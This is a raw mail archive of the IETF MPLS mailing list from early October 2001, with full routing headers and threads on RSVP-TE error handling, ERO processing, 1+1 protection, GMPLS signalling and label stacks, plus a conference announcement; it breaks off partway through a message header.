Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id LAA18170
	for <mpls@UU.NET>; Thu, 4 Oct 2001 11:28:10 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21)
	id <TLVW9ZF3>; Thu, 4 Oct 2001 11:28:11 -0400
Message-ID: <313680C9A886D511A06000204840E1CF519882@whq-msgusr-02.pit.comms.marconi.com>
From: "Tomar, Seema" <seema.tomar@marconi.com>
To: "'mpls@UU.NET'" <mpls@UU.NET>
Date: Thu, 4 Oct 2001 11:27:43 -0400 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="ISO-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

subscribe



From owner-mpls@UU.NET  Thu Oct  4 11:59:24 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA17242
	for <mpls-archive@lists.ietf.org>; Thu, 4 Oct 2001 11:59:24 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljhn18243;
	Thu, 4 Oct 2001 15:56:43 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljhn08806
	for mpls-outgoing; Thu, 4 Oct 2001 15:56:34 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQljhn08801
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 4 Oct 2001 15:56:31 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQljhn24524
	for <mpls@uu.net>; Thu, 4 Oct 2001 15:55:24 GMT
Received: from mailgate.pit.comms.marconi.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQljhn02794
	for <mpls@uu.net>; Thu, 4 Oct 2001 15:55:35 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id LAA28114
	for <mpls@uu.net>; Thu, 4 Oct 2001 11:55:21 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id LAA25981
	for <mpls@uu.net>; Thu, 4 Oct 2001 11:55:20 -0400 (EDT)
Message-ID: <3BBC866E.C5DEFE86@marconi.com>
Date: Thu, 04 Oct 2001 11:55:26 -0400
From: David Charlap <David.Charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: RSVPTE questions
References: <OFB3B2EC2C.3011FCF7-ON85256AD8.007DB5CE@cc.telcordia.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hong Liao wrote:
> 
> But for my understanding, you can choose to log the error for any
> error condition.  But for AppendixB, except the error 23 the list
> (it was log locally, and not report to end system), the error msg
> should be generated for others and it is mandatory.
> 
> For example, if there is unknown style send out in the resv msg, the
> resverror msg with error code 06 should be generated by router, it
> should be mandatory. right?

The RFC is very clear on this.  But you are going to have to read the
entire section and stop citing indivitual sentences out of context.

Error code 23 is defined as a system error.  It can be generated by any
router for any reason, period.  Any time a fatal error occurs that you
think should be reported, you can generate it.  Other routers are not
expected to know what this means.

The next two paragraphs ("In general...", and "The only....") explicitly
state that errors should not be generated for malformed messages, unless
it is an error condition that some other switch might be able to
correct.  They give an explicit example of a bad C-Type.

Nowhere in here does it say that you should ignore conditions for which
an explicit error code has been defined.  Did you seriously think that
the RFC authors would define an error and then tell you to never
generate it?

The next paragraph ("The choice...") says nothing about not generating
messages.  It says that switches are free to log or not log any error
conditions that they want, and then proceeds to list a bunch of
possibilities.

I really don't understand why you are finding it so difficult to
understand this.  The language is very simple and explicit.

-- David


From owner-mpls@UU.NET  Thu Oct  4 14:30:22 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA21539
	for <mpls-archive@lists.ietf.org>; Thu, 4 Oct 2001 14:30:22 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljhx05979;
	Thu, 4 Oct 2001 18:28:45 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljhx16623
	for mpls-outgoing; Thu, 4 Oct 2001 18:28:15 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQljhx16616
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 4 Oct 2001 18:28:13 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQljhx04980
	for <mpls@uu.net>; Thu, 4 Oct 2001 18:27:34 GMT
From: rpapneja@gmu.edu
Received: from portal.gmu.edu by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: portalknot.gmu.edu [129.174.0.8])
	id QQljhx24435
	for <mpls@uu.net>; Thu, 4 Oct 2001 18:27:14 GMT
Received: from gmu.edu (mail02.gmu.edu [129.174.0.10])
	by portal.gmu.edu (8.8.8/8.8.8) with ESMTP id OAA24055
	for <mpls@uu.net>; Thu, 4 Oct 2001 14:27:09 -0400 (EDT)
To: mpls@UU.NET
Message-ID: <110597f1104ced.1104ced110597f@gmu.edu>
Date: Thu, 04 Oct 2001 14:27:09 -0400
X-Mailer: Netscape Webmail
MIME-Version: 1.0
Content-Language: en
Subject: MPLS 2001 - October 7-9
X-Accept-Language: en
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Dear Friends,

 MPLS2001, the 4th Annual International Conference on MPLS is scheduled 
to start on October 7, at the Omni Shoreham Hotel, Washington, DC. 
MPLS 2001 is hosted jointly by Worldcom and Advanced Internet 
Laboratory. The event consists of a two-day highly technical sessions 
on Oct. 8-9, along with exhibits, preceded by technical tutorials on 
Oct. 7.
  
 We cordially invite you to attend MPLS 2001 International Conference 
and benefit from the experience of distinguished speakers. The 
conference details, including conference sessions, tutorial topics, 
registration can be found at the MPLS 2001 official website 
(http://www.mpls2001.com). 

 We look forward to seeing you at MPLS 2001 on Oct. 7.

 Thanks
  -Rajiv

********************************
Rajiv Papneja 
Advanced Internet Laboratory
George Mason University,
G10, Johnson Center,
Fairfax, VA 22030-4444
Tel: 703.993.4703
email: rpapneja@osf1.gmu.edu
********************************



From owner-mpls@UU.NET  Thu Oct  4 14:55:41 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA22336
	for <mpls-archive@lists.ietf.org>; Thu, 4 Oct 2001 14:55:41 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljhz23393;
	Thu, 4 Oct 2001 18:48:36 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljhz18348
	for mpls-outgoing; Thu, 4 Oct 2001 18:48:00 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQljhz18339
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 4 Oct 2001 18:47:56 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQljhz11922
	for <mpls@UU.NET>; Thu, 4 Oct 2001 18:47:41 GMT
Received: from exchsrv2.cosinecom.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: proxy93.cosinecom.com [63.88.104.93])
	id QQljhz04086
	for <mpls@UU.NET>; Thu, 4 Oct 2001 18:47:49 GMT
Received: by exchsrv2.cosinecom.com with Internet Mail Service (5.5.2653.19)
	id <TYR5XY88>; Thu, 4 Oct 2001 11:47:26 -0700
Message-ID: <69BCCDDC980B4641BFC908D7BF95F1843200D8@exchsrv-eng>
From: Girish Bhat <Girish.Bhat@cosinecom.com>
To: "'Khuzema Pithewan'" <KhuzemaP@netbrahma.com>
Cc: mpls@UU.NET
Subject: RE: RSVP-TE ERO Processing
Date: Thu, 4 Oct 2001 11:47:34 -0700 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C14D05.08049DA0"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C14D05.08049DA0
Content-Type: text/plain;
	charset="iso-8859-1"

I don't think the ERO needs to be processed with every refresh. When the ERO
changes, the source node creates a new path message with the same session id
but a different lsp id. Note that path refreshes are sent along the old path
with the old lsp id till the new path gets established. Once the resv
message comes back along the new path, the old path is torn.

Girish

> -----Original Message-----
> From: Khuzema Pithewan [mailto:KhuzemaP@netbrahma.com]
> Sent: Tuesday, October 02, 2001 5:13 AM
> Cc: mpls@UU.NET
> Subject: RSVP-TE ERO Processing
> 
> 
> Hi,
> 
> I have  few question related to ERO Processing...
> 
> 1. Does ERO Processing done each time when Intermediate node receives
> Path Refresh?
> 2. If Not, then what it should do, when there is a change in 
> ERO object
> received in this Path Refresh than the ERO Object received in earlier
> Path Messages..
> 
> Thanks,
> Khuzema.
> 
############################################################################
########################## This email communication may contain CONFIDENTIAL
INFORMATION and is intended only for the use of the intended recipients
identified above.  If you are not the intended recipient of this
communication, you must not use, disclose, distribute, copy or print this
email. If you have received this communication in error, please immediately
notify the sender by reply email, delete the communication and destroy all
copies.
############################################################################
##########################

------_=_NextPart_001_01C14D05.08049DA0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2653.12">
<TITLE>RE: RSVP-TE ERO Processing</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>I don't think the ERO needs to be processed with =
every refresh. When the ERO changes, the source node creates a new path =
message with the same session id but a different lsp id. Note that path =
refreshes are sent along the old path with the old lsp id till the new =
path gets established. Once the resv message comes back along the new =
path, the old path is torn.</FONT></P>

<P><FONT SIZE=3D2>Girish</FONT>
</P>

<P><FONT SIZE=3D2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; From: Khuzema Pithewan [<A =
HREF=3D"mailto:KhuzemaP@netbrahma.com">mailto:KhuzemaP@netbrahma.com</A>=
]</FONT>
<BR><FONT SIZE=3D2>&gt; Sent: Tuesday, October 02, 2001 5:13 AM</FONT>
<BR><FONT SIZE=3D2>&gt; Cc: mpls@UU.NET</FONT>
<BR><FONT SIZE=3D2>&gt; Subject: RSVP-TE ERO Processing</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Hi,</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; I have&nbsp; few question related to ERO =
Processing...</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; 1. Does ERO Processing done each time when =
Intermediate node receives</FONT>
<BR><FONT SIZE=3D2>&gt; Path Refresh?</FONT>
<BR><FONT SIZE=3D2>&gt; 2. If Not, then what it should do, when there =
is a change in </FONT>
<BR><FONT SIZE=3D2>&gt; ERO object</FONT>
<BR><FONT SIZE=3D2>&gt; received in this Path Refresh than the ERO =
Object received in earlier</FONT>
<BR><FONT SIZE=3D2>&gt; Path Messages..</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Thanks,</FONT>
<BR><FONT SIZE=3D2>&gt; Khuzema.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT =
SIZE=3D2>###############################################################=
####################################### This email communication may =
contain CONFIDENTIAL INFORMATION and is intended only for the use of =
the intended recipients identified above.&nbsp; If you are not the =
intended recipient of this communication, you must not use, disclose, =
distribute, copy or print this email. If you have received this =
communication in error, please immediately notify the sender by reply =
email, delete the communication and destroy all copies. =
########################################################################=
##############################</FONT></P>

</BODY>
</HTML>
------_=_NextPart_001_01C14D05.08049DA0--


From owner-mpls@UU.NET  Thu Oct  4 15:58:05 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA24007
	for <mpls-archive@lists.ietf.org>; Thu, 4 Oct 2001 15:58:04 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljid29706;
	Thu, 4 Oct 2001 19:56:45 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljid11641
	for mpls-outgoing; Thu, 4 Oct 2001 19:56:19 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQljid11634
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 4 Oct 2001 19:56:10 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQljid09933
	for <mpls@uu.net>; Thu, 4 Oct 2001 19:55:22 GMT
Received: from mailgate.pit.comms.marconi.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQljid27958
	for <mpls@uu.net>; Thu, 4 Oct 2001 19:55:34 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id PAA22547
	for <mpls@uu.net>; Thu, 4 Oct 2001 15:55:20 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id PAA23926
	for <mpls@uu.net>; Thu, 4 Oct 2001 15:55:19 -0400 (EDT)
Message-ID: <3BBCBEAE.1A886163@marconi.com>
Date: Thu, 04 Oct 2001 15:55:26 -0400
From: David Charlap <David.Charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: RSVP-TE ERO Processing
References: <69BCCDDC980B4641BFC908D7BF95F1843200D8@exchsrv-eng>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Girish Bhat wrote:
> 
> I don't think the ERO needs to be processed with every refresh.
> When the ERO changes, the source node creates a new path message
> with the same session id but a different lsp id. Note that path
> refreshes are sent along the old path with the old lsp id till the
> new path gets established. Once the resv message comes back along
> the new path, the old path is torn.

You've just described make-before-break.  This is the way ingress nodes
are supposed to do the rerouting.

But a transit router should not assume that it will work this way. 
There may be broken routers out there.  You still must be prepared to
handle the case where the ERO changes, even if your switch isn't capable
of anything more than generating a PathErr.

If the ERO changes, you should assume that the ingress node changed it
for a reason and that this is not some weird manifestation of line
noise.  To ignore the change and continue sending out Path messages to
the old next-hop with the old ERO is broken behavior.

-- David


From owner-mpls@UU.NET  Fri Oct  5 01:56:28 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA04254
	for <mpls-archive@lists.ietf.org>; Fri, 5 Oct 2001 01:56:28 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljjr07938;
	Fri, 5 Oct 2001 05:56:11 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljjr29745
	for mpls-outgoing; Fri, 5 Oct 2001 05:56:02 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQljjr29718
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 5 Oct 2001 05:55:55 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQljjr12315
	for <mpls@uu.net>; Fri, 5 Oct 2001 05:55:22 GMT
Received: from mail44.fg.online.no by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail44-s.fg.online.no [148.122.161.44])
	id QQljjr06670
	for <mpls@uu.net>; Fri, 5 Oct 2001 05:55:14 GMT
Received: from wm-java1.fg.online.no (wm-java1-s.fg.online.no [148.122.161.98])
	by mail44.fg.online.no (8.9.3/8.9.3) with SMTP id HAA06637
	for <mpls@uu.net>; Fri, 5 Oct 2001 07:55:19 +0200 (MET DST)
Message-ID: <7271956.1002261319316.JavaMail.webmail1@wm-java1.fg.online.no>
Date: Fri, 5 Oct 2001 07:55:19 +0200 (CEST)
From: Per Eirik Heimdal <perheim@frisurf.no>
To: mpls@UU.NET
Subject: 1+1 protection
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="2462679.1002261319309.JavaMail.webmail1@wm-java1.fg.online.no"
X-Mailer: Frisurf
X-Real-User: perheim
X-Client-Addr: 194.237.142.9
Sender: owner-mpls@UU.NET
Precedence: bulk

--2462679.1002261319309.JavaMail.webmail1@wm-java1.fg.online.no
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hello!
Draft: Framework for MPLS-based recovery.

I am trying to find out how this document describes 1+1 protection.
By 1+1 protection I mean a bridging of working and protection entity. The traffic on working and protection entities is transmitted SIMULTANEOUSLY to the sink of the protected domain.
A-source
B-sink
Rx-Routers
LSP-1:A-R1-R2-B
LSP-2:A-R3-R4-B


A _________R1_______R2________o
          \
            \                                           <---o-------- B
               \________R3_____R4______o


This of course requires twice the bandwidth, but on the other hand offers a very fast protection switching.

Is this considered in the draft-ietf-mpls-recovery-frmwrk-03.txt?

Best regards
Per Eirik

--2462679.1002261319309.JavaMail.webmail1@wm-java1.fg.online.no--



From owner-mpls@UU.NET  Fri Oct  5 02:32:40 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA14377
	for <mpls-archive@lists.ietf.org>; Fri, 5 Oct 2001 02:32:39 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljju26031;
	Fri, 5 Oct 2001 06:32:23 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljju20912
	for mpls-outgoing; Fri, 5 Oct 2001 06:32:10 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQljju20904
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 5 Oct 2001 06:32:06 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQljju07841
	for <mpls@uu.net>; Fri, 5 Oct 2001 06:32:02 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQljju25433
	for <mpls@uu.net>; Fri, 5 Oct 2001 06:31:55 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id CAA26652 for <mpls@uu.net>; Fri, 5 Oct 2001 02:32:01 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id CAA12629 for mpls@uu.net; Fri, 5 Oct 2001 02:32:01 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQljju20784
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 5 Oct 2001 06:30:54 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQljju20033
	for <mpls@UU.NET>; Fri, 5 Oct 2001 06:30:42 GMT
Received: from ganesh.ctd.hctech.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [202.54.64.2])
	id QQljju16650
	for <mpls@UU.NET>; Fri, 5 Oct 2001 06:30:54 GMT
Received: by GANESH with Internet Mail Service (5.5.2653.19)
	id <4JNM5VJ0>; Fri, 5 Oct 2001 12:26:47 +0530
Message-ID: <D11B30C7348BD511A40700010283497B18918E@GAYATRI>
From: "Mohan Kumar S - CTD, Chennai." <mohankr@ctd.hcltech.com>
To: ccamp@ops.ietf.org, mpls@UU.NET
Cc: Tammy.Ferris@mail.sprint.com
Subject: Generalized Signalling ..!
Date: Fri, 5 Oct 2001 11:58:48 +0530 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hello, 
Can somebody let me know how and what port numbers is used for session
establishment in
Generalized Signalling ?

Do we need to implement LDP (Label Distribution Protocol) so as to 
support CR - LDP TE Extns ?

Thanks for your time in advance,

regards


***********************************************************************
Disclaimer: 
This document is intended for transmission to the named recipient only.  If
you are not that person, you should note that legal rights reside in this
document and you are not authorized to access, read, disclose, copy, use or
otherwise deal with it and any such actions are prohibited and may be
unlawful. The views expressed in this document are not necessarily those of
HCL Technologies Ltd. Notice is hereby given that no representation,
contract or other binding obligation shall be created by this e-mail, which
must be interpreted accordingly. Any representations, contractual rights or
obligations shall be separately communicated in writing and signed in the
original by a duly authorized officer of the relevant company.
***********************************************************************




From owner-mpls@UU.NET  Fri Oct  5 05:59:33 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA17805
	for <mpls-archive@lists.ietf.org>; Fri, 5 Oct 2001 05:59:33 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljkh21410;
	Fri, 5 Oct 2001 09:59:19 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljkh00979
	for mpls-outgoing; Fri, 5 Oct 2001 09:59:12 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQljkh00974
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 5 Oct 2001 09:59:07 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQljkh17856
	for <mpls@uu.net>; Fri, 5 Oct 2001 09:58:35 GMT
Received: from mail5.registeredsite.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail5.registeredsite.com [64.224.9.14])
	id QQljkh20195
	for <mpls@uu.net>; Fri, 5 Oct 2001 09:58:28 GMT
Received: from mail.cominsights.com (mail.cominsights.com [64.225.2.217])
	by mail5.registeredsite.com (8.11.6/8.11.6) with ESMTP id f9594Mk24081
	for <mpls@uu.net>; Fri, 5 Oct 2001 05:04:22 -0400
Date: Fri,  5 Oct 2001 05:58:32 -0400
Message-Id: <200110050558.AA1003684170@mail.cominsights.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
From: "krishnakanth.rao" <krishnakanth.rao@mail.cominsights.com>
Reply-To: <krishnakanth.rao@mail.cominsights.com>
To: <mpls@UU.NET>
Subject: label stack
X-Mailer: <IMail v6.05>
Sender: owner-mpls@UU.NET
Precedence: bulk

what purpose does the label stack serve

Krishnakanth


From owner-mpls@UU.NET  Fri Oct  5 07:08:12 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA18275
	for <mpls-archive@lists.ietf.org>; Fri, 5 Oct 2001 07:08:12 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljkm09970;
	Fri, 5 Oct 2001 11:08:13 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljkm12808
	for mpls-outgoing; Fri, 5 Oct 2001 11:07:44 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQljkm12798
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 5 Oct 2001 11:07:33 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQljkm05495
	for <mpls@uu.net>; Fri, 5 Oct 2001 11:07:09 GMT
From: suchauhan@hss.hns.com
Received: from hindon.hss.co.in by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [202.54.26.202])
	id QQljkm10504
	for <mpls@uu.net>; Fri, 5 Oct 2001 11:07:21 GMT
Received: from sandesh.hss.hns.com (localhost [127.0.0.1])
	by hindon.hss.co.in (8.10.0/8.10.0) with SMTP id f95B8FK01011;
	Fri, 5 Oct 2001 16:38:15 +0530 (IST)
Received: by sandesh.hss.hns.com(Lotus SMTP MTA v4.6.3  (733.2 10-16-1998))  id 65256ADC.003D393C ; Fri, 5 Oct 2001 16:38:43 +0530
X-Lotus-FromDomain: HSS
To: krishnakanth.rao@mail.cominsights.com
cc: mpls@UU.NET
Message-ID: <65256ADC.003D390D.00@sandesh.hss.hns.com>
Date: Fri, 5 Oct 2001 16:38:42 +0530
Subject: Re: label stack
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Sender: owner-mpls@UU.NET
Precedence: bulk



it "stacks up the labels" for tunnelling.




"krishnakanth.rao" <krishnakanth.rao@mail.cominsights.com> on 10/05/2001
03:28:32 PM

Please respond to krishnakanth.rao@mail.cominsights.com

To:   mpls@UU.NET
cc:    (bcc: Sumit Chauhan/HSS)

Subject:  label stack




what purpose does the label stack serve

Krishnakanth








From owner-mpls@UU.NET  Fri Oct  5 09:29:11 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA21671
	for <mpls-archive@lists.ietf.org>; Fri, 5 Oct 2001 09:29:11 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljkv05001;
	Fri, 5 Oct 2001 13:29:14 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljkv00436
	for mpls-outgoing; Fri, 5 Oct 2001 13:28:45 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQljkv00431
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 5 Oct 2001 13:28:33 GMT
